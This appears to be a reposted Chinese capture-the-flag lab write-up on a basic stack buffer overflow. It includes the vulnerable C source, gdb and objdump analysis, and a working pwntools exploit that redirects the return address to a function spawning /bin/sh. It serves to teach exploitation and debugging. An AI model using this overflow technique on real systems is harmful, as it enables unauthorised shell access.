[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof相关的知识,希望对你有一定的参考价值。

一、考点

  • 栈溢出
  • gdb动态调试
  • objdump
  • pwntools脚本与二进制程序相结合的动态调试

二、相关资源

题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1uRyQN1dzA0OLsgcn1UtYjg
提取码:vfdl
本次实验对应Lab1

三、题目

这是一道较基础的pwn题,同时不但给出了二进制文件,也给出了源文件:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void y0u_c4n7_533_m3()
{
  execve("/bin/sh", (char *[]){0}, (char *[]){0});
}

int main()
{
  char buf[16];
  puts("This is your first bof challenge ;)");
  fflush(stdout);
  read(0, buf, 0x30);
  return 0;
}

四、解题过程

1、检查保护机制

checksec无任何保护机制:
在这里插入图片描述

2、运行查看效果

运行该程序,在用户输入时,填充大量的11111111,报段错误,可能存在缓冲区溢出漏洞。
在这里插入图片描述

3、IDA静态分析

拖入IDA进行静态分析,主函数main为:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  puts("This is your first bof challenge ;)");
  fflush(_bss_start);
  read(0, buf, 0x30uLL);
  return 0;
}

除了主函数main外,在function窗口很容易看到一个很有特点的函数y0u_c4n7_533_m3:

int y0u_c4n7_533_m3()
{
  char *envp; // [rsp+0h] [rbp-10h] BYREF
  char *argv; // [rsp+8h] [rbp-8h] BYREF

  envp = 0LL;
  argv = 0LL;
  return execve("/bin/sh", &argv, &envp);
}

该函数执行后,可获得shell。

4、gdb动态调试

使用gdb动态调试,分别进行如下操作:

gdb bof
b main
r

单步n,一直到read的位置,这是堆栈空间还没有被污染的样子,main函数执行完后,会从堆栈中弹出下一条指令的地址(这是main返回后要去的地方),即图中标红的部分:
在这里插入图片描述
单步n,任意输入一串数字,发现这个位置已被填充为bbcccccc
在这里插入图片描述
继续向下执行,到达指令ret时,程序crash:
在这里插入图片描述

5、objdump查虚拟地址

在命令行中执行objdump -d -M intel bof,查看y0u_c4n7_533_m3函数的地址为0x40607:
在这里插入图片描述

6、编写exp

编写的exp为:

from pwn import *
r = process('./bof')

magic = 0x400607

payload = 'a'*0x18 + p64(magic)
r.recvuntil(';)\\n')

r.send(payload)

r.interactive()

运行该脚本后,执行ls命令,可以看出已经拿到了shell:
在这里插入图片描述

五、动态验证(二进制+pwntools混合调试)

在exp中增加一行代码raw_input():

from pwn import *
r = process('./bof')
raw_input()

magic = 0x400607

payload = 'a'*0x18 + p64(magic)
r.recvuntil(';)\\n')

r.send(payload)

r.interactive()

在当前窗口执行该python脚本,程序会因raw_input()这条语句卡在这里:
在这里插入图片描述
再打开另一终端并执行gdb bof,在gdb中输入attach 116143附加调试到bof进程。
输入disassemble main,查看main函数的反汇编代码中read函数的地址为0x40066d,并在这里设置断点:
在这里插入图片描述
输入n,切换到执行python脚本的终端,按回车键跳过卡着的位置。再回到gdb的终端,这时可看到return address已经替换为y0u_c4n7_533_m3函数的地址。
在这里插入图片描述
这种调试方法也是pwn手所必备的技能,通过raw_input()的方式,实现pwntools脚本与二进制程序交互的同时,实现了pwntools脚本与二进制程序相结合的动态调试

以上是关于[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof的主要内容,如果未能解决你的问题,请参考以下文章

[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验

[NTUSTISC pwn LAB 4]gothijacking入门实验

[NTUSTISC pwn LAB 5]rop入门实验

[NTUSTISC pwn LAB 0]新手就能掌握的pwntools接口入门实验

[NTUSTISC pwn LAB 6]rop&Return to plt实验

[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)